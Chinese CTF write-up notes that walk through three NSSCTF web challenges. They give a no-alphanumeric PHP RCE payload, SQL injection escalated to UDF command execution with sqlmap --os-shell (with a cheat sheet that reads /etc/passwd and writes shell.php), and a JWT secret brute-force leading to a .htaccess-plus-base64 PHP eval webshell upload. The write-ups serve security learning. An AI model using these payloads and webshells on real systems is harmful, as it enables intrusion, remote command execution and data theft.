$c = ++$a; // $a 先自增,$c = 自增后的值

💡 知识点:共享自增链(核心优化)

  • 如果每个字符都从 “A” 重新取+自增:P(+15) O(+14) S(+18) T(+19) = 66 次自增
  • 共享一条链:A→O(14次)→P(1次)→S(4次)→T(1次)= 20 次!省了 46 次!

④ 变量变量取出 $_POST

1
2
$$_[_]($$_[__]);        // ✗ 错误写法!
${$_}[_](${$_}[__]); // ✓ 正确写法

💡 知识点:PHP 解析优先级(致命坑!)

1
2
3
4
5
6
$$a[b]  // PHP 解析为 ${$a[b]}(先取下标,再变量变量)
// 例: $_="_POST" 时
// $$_[_] = ${$_[$_]} = ${"_POST"[0]} = ${"P"} = $P(未定义 = NULL)→ 调用 NULL 报错!

${$a}[b] // 先变量变量(${$a} = 变量名为 $a 值的变量),再取下标
// ${$_} = $_POST,${$_}[_] = $_POST["_"] ✓

记忆口诀$$a[b] = ${$a[b]}(先下标)——想”变量变量的值再下标”,必须写 ${$a}[b]

⑤ 参数分离(绕过过滤的核心)

1
2
3
4
5
${$_}[_](${$_}[__]);
// ${$_} = $_POST
// $_POST["_"] = "system" ← POST 参数 _ 传函数名
// $_POST["__"] = "nl /f*" ← POST 参数 __ 传命令
// 等价: system("nl /f*")

💡 知识点:参数分离

  • 代码里不出现任何字母(_POST 是构造的)
  • 函数名和命令都从超全局取 → 过滤只查代码字符串,查不到 POST 数据!

⑥ 最终 payload(194 字符)

1
2
3
$_=[].$_;$_=$_{_};$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$__=$_;$___=$__++;$_++;$_++;$_++;$_++;$____=$_;$_____=++$_;
$_=_.$__.$___.$____.$_____;${$_}[_](${$_}[__]);
1
2
3
4
5
POST / HTTP/1.1
Host: node1.anna.nssctf.cn:26651
Content-Type: application/x-www-form-urlencoded ← 必须!

rce=<上面payload的URL编码>&_=system&__=nl+/f*

⑦ 踩坑记录(调试过程)

Bug 原因 修复
$_=[].; 语法错误(连接符缺操作数) $_=[].$_;
$=$_[_]; 变量名 $ 不合法 $_=$_{_};
$$_[_] 解析为 ${$_[$_]}(先下标) ${$_}[_](明确优先级)
偏移错误 "Array"[1] = “r” 不是 “A” 用偏移 0({_}[_]
无 Content-Type PHP 不解析 body → $_POST Content-Type: application/x-www-form-urlencoded

💡 知识点:Content-Type 陷阱

  • PHP 只在 application/x-www-form-urlencodedmultipart/form-data 时解析 body 填充 $_POST
  • curl / Python requests 自动加该头;BP 手动构造请求必须自己加
  • 没有 Content-Type → isset($_POST['rce']) = false → 题目完全不执行

结果

1
NSSCTF{a2c39bed-4bfb-46a1-8e7e-87399fedd960}

新学知识

考点 要点
无字母数字 RCE 数组转字符串 + 自增 + 变量变量
数组转字符串 [] . NULL = "Array"(无引号字符串化)
字符串自增 "A"++"B""ar"++"as"
前置/后置自增 $a++(先取值)vs ++$a(先自增)
共享自增链 一个起点派生多个字符(省自增次数)
$str{} 旧式下标 $_{_} = 偏移0(PHP 8 移除)
变量变量 ${} ${$_} = 变量名为 $_ 值的变量
$$a[b] 优先级坑 = ${$a[b]},需写 ${$a}[b]
参数分离 函数名/命令从超全局取,绕过字符过滤
Content-Type 陷阱 无该头则 $_POST 为空(BP 必加)

无字母数字 RCE 三件套(总结)

1
2
3
4
① 异或 ^:两字符串异或构造目标字符   (需要 ^ 可用)
② 取反 ~:(~%8C%86...)(~%93%8C...) (需要 ~ 可用)
③ 自增 ++:数组转字符串 → 取"A" → 自增构造(本方案)
通用步骤: 构造超全局名 → ${} 变量变量 → 参数分离调用


sql仅仅只是sql吗(SQL注入+UDF提权)

题目主题:SQL 注入 → MySQL UDF 提权 → 系统命令执行(sqlmap –os-shell)
考点:堆叠注入 + DBA 权限 + UDF 自定义函数 + 文件写入 + 命令执行


题目描述

主界面是一个用户查询入口(GET 参数 id),存在 SQL 注入。

解决过程

① 注入点确认(sqlmap 探测)

1
python sqlmap.py -u "http://node1.anna.nssctf.cn:27765/?id=1" --random-agent --os-shell

sqlmap 识别出 4 种注入类型

类型 Payload 说明
布尔盲注 id=1 AND 4488=4488 页面真假判断
堆叠注入 id=1;SELECT SLEEP(5)# 多语句执行(关键!)
时间盲注 id=1 AND (SELECT SLEEP(5)) 延时判断
UNION 注入 id=1 UNION SELECT NULL,... 3 列,有回显

后端信息:MySQL >= 5.0.12(MariaDB fork)+ Nginx + PHP 7.3.33 + Linux

② –os-shell 自动提权(核心)

sqlmap 检测到 DBA 权限后,自动走 MySQL UDF 提权流程:

1
2
3
4
5
6
① 检测堆叠注入(多语句执行能力)✓
② 检测当前用户是 DBA(is-dba)✓
③ 上传 UDF 库文件 lib_mysqludf_sys.so(8040 字节)
→ 写入 /usr/lib/mariadb/plugin/libswsux.so
④ CREATE FUNCTION sys_exec / sys_eval
⑤ 调用 sys_exec() 执行系统命令 → os-shell

③ 命令执行拿 flag

1
2
3
4
5
os-shell> ls /
→ 看到可疑文件: fffffllllllaaaaagggg

os-shell> cat /f*
→ NSSCTF{2e272803-3aba-4afd-bd74-4a4085034cdf}

结果

1
NSSCTF{2e272803-3aba-4afd-bd74-4a4085034cdf}

原理详解

① 堆叠注入(Stacked Queries)

1
2
3
4
5
6
-- 普通注入: 只能执行一条 SELECT
id=1 UNION SELECT 1,2,3

-- 堆叠注入: 分号后可以再执行任意语句!
id=1;SELECT SLEEP(5)#
id=1;CREATE FUNCTION ...# ← UDF 提权需要它!

条件mysqli_multi_query() 等支持多语句的 API 才能堆叠(PDO 默认支持)。

② MySQL UDF 提权(核心原理)

UDF = User Defined Function(用户自定义函数)

MySQL 允许加载**动态库(.so)**注册自定义函数,函数内部可以执行任意代码!

利用条件

1
2
3
1. 堆叠注入(或能执行多条语句)
2. 当前用户是 DBA(有 CREATE FUNCTION 权限 + FILE 权限)
3. MySQL 能写文件(secure_file_priv 允许写 plugin 目录)

攻击步骤

1
2
3
4
5
6
7
8
9
-- ① 把恶意 .so 库写入 plugin 目录(sqlmap 自动做,也可手工)
SELECT ... INTO DUMPFILE '/usr/lib/mariadb/plugin/libswsux.so'

-- ② 注册自定义函数
CREATE FUNCTION sys_exec RETURNS int SONAME 'libswsux.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'libswsux.so'

-- ③ 调用 = 执行系统命令!
SELECT sys_exec('cat /f*')

lib_mysqludf_sys.so 是公开的 UDF 利用库,提供:

  • sys_exec(命令) → 执行命令(无回显)
  • sys_eval(命令) → 执行命令(有回显

③ sqlmap –os-shell 原理

1
2
3
--os-shell = 自动完成: 检测DBA → 上传UDF库 → 建函数 → 交互shell
等价于手工:
SELECT sys_exec('id') / SELECT sys_eval('ls /')

新学知识

考点 要点
堆叠注入 ; 分隔多条语句,是 UDF 提权的前提
UDF 提权 加载 .so 注册自定义函数 → 函数内执行系统命令
lib_mysqludf_sys 公开 UDF 库(sys_exec / sys_eval)
plugin 目录 MySQL 插件目录(MariaDB: /usr/lib/mariadb/plugin/)
DBA 权限 提权必需(CREATE FUNCTION + FILE)
sqlmap –os-shell 一条命令自动化 UDF 提权
–random-agent 随机 UA,防 WAF 指纹

手工 UDF 提权参考(理解原理)

1
2
3
4
5
6
7
8
9
10
11
12
13
-- 1. 确认权限
SELECT @@plugin_dir; -- 插件目录
SELECT @@secure_file_priv; -- 文件写入限制(空=不限制)
SELECT user(); -- 当前用户

-- 2. 写 UDF 库(hex 编码的 .so 文件)
SELECT 0x4d5a... INTO DUMPFILE '/usr/lib/mariadb/plugin/evil.so'

-- 3. 创建函数
CREATE FUNCTION sys_eval RETURNS string SONAME 'evil.so'

-- 4. 执行命令
SELECT sys_eval('cat /f*');

sqlmap 常用命令速查

1
2
3
4
5
6
7
8
9
10
11
12
13
sqlmap -u "url?id=1" --batch                # 探测
sqlmap -r req.txt --batch # 用 BP 抓包
sqlmap -u "url?id=1" --dbs --batch # 列库
sqlmap -u "url?id=1" -D 库 --tables # 列表
sqlmap -u "url?id=1" -D 库 -T 表 --dump # 拖数据

sqlmap -u "url?id=1" --os-shell # UDF 提权拿 shell
sqlmap -u "url?id=1" --file-read "/etc/passwd" # 读文件
sqlmap -u "url?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php" # 写文件

--random-agent # 随机 UA
--tamper=xxx # 绕过脚本
--technique=B # 指定注入技术


Punishing(战双帕弥什)

题目主题:海之魔法少女 / 空中花园 / 构造体档案室(战双帕弥什)
考点:JWT 密钥爆破 → 伪造 admin → 文件上传(.htaccess + base64 shell)→ getshell


题目描述

页面显示当前角色 guest,”你不是 admin”。
提示:”好心小梅:Selena***,我只能帮你到这了”

题目分析

  1. Cookie 是 JWT:{"username":"Lucia","role":"guest"}(HS256 签名)
  2. /upload.php(构造体档案室)需要 admin 权限
  3. “Selena***” = 密钥以 Selena 开头,后面 3 位未知

解决思路

1
爆破 JWT 密钥 → 伪造 admin token → 进档案室 → 上传 .htaccess + base64 shell → getshell

解决过程

① 爆破 JWT 密钥

JWT 签名 = HMAC-SHA256(密钥, “header.payload”)。用候选密钥算签名对比原 token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hmac, hashlib, base64, itertools, string

jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Ikx1Y2lhIiwicm9sZSI6Imd1ZXN0In0.9775pWUcQiz0tJJ04SZC-mKgBdLs7KygnOsdDEz3WcE"
header_payload = jwt.rsplit('.', 1)[0]
sig = jwt.rsplit('.', 1)[1]

def verify(secret):
calc = base64.urlsafe_b64encode(
hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
return calc == sig

for combo in itertools.product(string.ascii_lowercase + string.digits, repeat=3):
key = 'Selena' + ''.join(combo)
if verify(key):
print(f"[+] 密钥: {key}") # → Selenahyw
break

结果:密钥 = Selenahyw

② 伪造 admin JWT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hmac, hashlib, base64, json

def b64url(d):
return base64.urlsafe_b64encode(d).rstrip(b'=').decode()

secret = 'Selenahyw'
header = {"typ": "JWT", "alg": "HS256"}
payload = {"username": "Selena", "role": "admin"} # 关键:role 改 admin

h = b64url(json.dumps(header, separators=(',', ':')).encode())
p = b64url(json.dumps(payload, separators=(',', ':')).encode())
msg = f'{h}.{p}'
sig = b64url(hmac.new(secret.encode(), msg.encode(), hashlib.sha256).digest())
admin_token = f'{msg}.{sig}'

携带 admin token 访问 /upload.php → 进入”档案室”上传页面 ✅

③ 构造上传文件

文件 1:.htaccess(让 .jpg 当 PHP 执行 + 自动 base64 解码)

1
2
AddType application/x-httpd-php .jpg
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=shell.jpg"

文件 2:shell.jpg(一句话木马的 base64,绕过 <? 过滤)

1
2
原始木马: <?php eval($_POST["cmd"]);?>
base64: PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg==

④ 上传 + 执行

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

BASE = 'http://node1.anna.nssctf.cn:22199'
ADMIN = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IlNlbGVuYSIsInJvbGUiOiJhZG1pbiJ9.9L5AOKBTxEQ5sFj5T0xsfZDb11l4mRYPJG8tOsO75Co'

requests.post(f'{BASE}/upload.php', cookies={'token': ADMIN},
files={'file': ('.htaccess', b'AddType application/x-httpd-php .jpg\nphp_value auto_prepend_file "php://filter/convert.base64-decode/resource=shell.jpg"\n')})

requests.post(f'{BASE}/upload.php', cookies={'token': ADMIN},
files={'file': ('shell.jpg', b'PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg==')})

r = requests.post(f'{BASE}/uploads/shell.jpg', data={'cmd': 'system("cat /flag");'})
print(r.text) # 🚩

结果

1
NSSCTF{7377c967-e91c-42ef-9bc3-1e195bd3b500}

新学知识

考点 要点
JWT 密钥爆破 提示词(Selena***)+ 枚举后三位;HMAC 签名对比验证
JWT 伪造 改 payload role → 用密钥重签
.htaccess 提权 AddType 改文件解析类型
php://filter 伪协议 convert.base64-decode 解码内容
WAF 绕过 <? 被过滤 → 木马 base64 编码
auto_prepend_file 每次执行 PHP 前自动包含指定文件


整理日期:2026-08-11